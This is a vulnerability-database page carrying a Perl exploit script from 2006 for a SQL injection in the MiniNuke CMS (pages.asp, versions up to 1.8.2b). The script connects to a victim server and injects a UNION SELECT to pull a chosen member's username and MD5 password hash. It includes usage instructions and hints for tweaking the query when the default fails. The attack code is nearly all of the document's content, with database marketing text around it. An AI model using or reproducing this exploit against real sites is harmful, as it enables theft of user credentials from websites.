Lucene search
K

MiniNuke <= 1.8.2b (pages.asp) Remote SQL Injection Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

MiniNuke <= 1.8.2b Remote SQL Injectio

Code

                                                #!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts &#62; ICQ: 10072 MSN/Main: [email protected] web: www.nukedx.com
#Orginal advisory: http://www.nukedx.com/?viewdoc=9
#Usage: mini.pl &#60;victim.com&#62; &#60;/mininuke-dir&#62; &#60;userid&#62;
use IO::Socket;
if(@ARGV != 3){
print &#34;
+**********************************************************************+
+Welcome to MiniNuke CMS System all versions (pages.asp) SQL-inject xpl+
+            Usage: mini.pl &#60;victim&#62; &#60;directory&#62; &#60;userid&#62;              +
+                    Example: mini.pl sux.com / 1                      +
+               Method found & Exploit scripted by nukedx              +
+**********************************************************************+
&#34;;
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$port = &#34;80&#34;;
$mndir = $ARGV[1];
$victimid = $ARGV[2];
$sreq =&#34;http://&#34;.$server.$mndir.&#34;pages.asp?id=3%20union+select+0,kul_adi,sifre,0,0+from+members+where+uye_id=&#34;.$victimid;
#Writing data to socket
print &#34;+**********************************************************************+\n&#34;;
print &#34;+ Trying to connect: $server\n&#34;;
$mns = IO::Socket::INET-&#62;new(Proto =&#62; &#34;tcp&#34;, PeerAddr =&#62; &#34;$server&#34;, PeerPort =&#62; &#34;$port&#34;) || die &#34;\n+ Connection failed...\n&#34;;
print $mns &#34;GET $sreq\n&#34;;
print $mns &#34;Host: $server\n&#34;;
print $mns &#34;Accept: */*\n&#34;;
print $mns &#34;Connection: close\n\n&#34;;
print &#34;+ Connected!...\n&#34;;
	while($answer = &#60;$mns&#62;) {
		if ($answer =~ /([\d,a-f]{32})/) { 
			print &#34;+ USERID: $victimid\n&#34;;
                        print &#34;+ MD5 HASH: $1\n&#34;;
			print &#34;+**********************************************************************+\n&#34;;
			exit(); }
		if ($answer =~ /number of columns/) { 
                print &#34;+ This version of Mini-Nuke is vulnerable too but default query of SQL-inject does not work on it\n&#34;;
                print &#34;+ So please edit query by manually adding null data..\n&#34;;
                exit(); }
	}
print &#34;+ Exploit failed\n&#34;;
print &#34;+**********************************************************************+\n&#34;;

# nukedx.com [2006-02-19]

# milw0rm.com [2006-02-19]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13